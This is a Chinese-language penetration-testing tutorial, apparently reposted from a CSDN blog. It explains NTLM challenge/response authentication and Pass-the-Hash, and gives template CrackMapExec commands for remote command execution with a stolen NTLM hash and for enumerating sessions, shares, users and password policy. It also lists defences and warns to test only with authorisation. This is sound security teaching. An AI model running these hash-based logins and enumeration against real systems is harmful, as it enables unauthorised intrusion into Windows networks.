系统相关
首页 > 系统相关> > 渗透测试之Windows网络认证NTLM协议浅析

渗透测试之Windows网络认证NTLM协议浅析

作者:互联网

渗透测试之Windows网络认证NTLM协议浅析

文章目录

NTLM 协议

NTLM协议是在Microsoft环境中使用的一种身份验证协议,它允许用户向服务器证明自己是谁(挑战(Chalenge)/响应(Response)认证机制),以便使用该服务器提供的服务。

在本文中,术语“服务器”是在客户端/服务器意义上使用的,“服务器”很可能是另一台PC。

NTLM协议的认证过程分为三步:

在使用NTLM协议针对用户进行身份验证时,有两种可能的情况(下个小节进行详细说明):

NTLM 协议在工作组环境下的应用

协商:

质询Chalenge/Response与验证:

image-20211018134919900

1、Chanllenge是Server产生的一个16字节的随机数,每次认证都不同

2、Response的表现形式是Net-NTLM Hash,它是由客户端提供的密码Hash加密Server返回的Chanllenge产生的结果。

NTLM 协议在域环境下的应用

当使用域帐户进行身份验证时,用户的NTLM Hash不再存储在服务器上,而是存储在域控制器上。所以整个认证的过程需要与域控制器进行交互。

协商:

质询Chalenge/Response与验证:

image-20211018140831836

哈希传递PTH(Pass The Hash)

PTH原理

在NTLM 协议的验证过程中虽然没有明文传递密码,但是却使用了明文密码的等价物NTLM Hash,所以在不知道明文密码但是获取到NTLM Hash的情况即可完成身份的认证,这种认证方式因为传递的事hash值故成为哈希传递。

其实哈希传递就是使用用户名对应的NTLM Hash将服务器给出的 Chanllenge加密,生成一个Response,来完成认证。

PTH条件

Pass The Hash - 必要条件

PTH利用

PTH利用工具较多,如CrackMapExec,Smbmap,Smbexec,Metasploit等,以下以CrackMapExec(如何安装不在此介绍)进行举例;

crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  -x 接对应指令

如图在kali中调用CrackMapExec执行whoami

image-20211018165706805

CrackMapExec其他常用指令

# Sessions枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash} --sessions
# 共享枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --shares
# 磁盘枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --disk
# 登录用户枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --loggedon-users
# RID爆破枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --rid-brute
# 域用户枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --users
# 组枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash} --groups
# 本地组枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --local-groups
# 域密码策略枚举
crackmapexec smb {换成ip或ip区间} -u {换成用户名} -H {换成对应NTLM Hash}  --pass-pol

PTH防御

1、windows安装kb2871997补丁

2、使用Kerberos认证代替NTLM认证

3、开启PAC(Privileged Attribute Certificate)特权属性证书保护功能

为了您和您家人的幸福,请在用户授权情况下开展渗透测试!

中华人民共和国刑法

第二百八十五条
违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
第二百八十六条
违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
故意制作、传播计算机病毒等破坏程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚

标签:用户名,Hash,Windows,ip,NTLM,Response,换成,浅析
来源: https://blog.csdn.net/CoreNote/article/details/120929806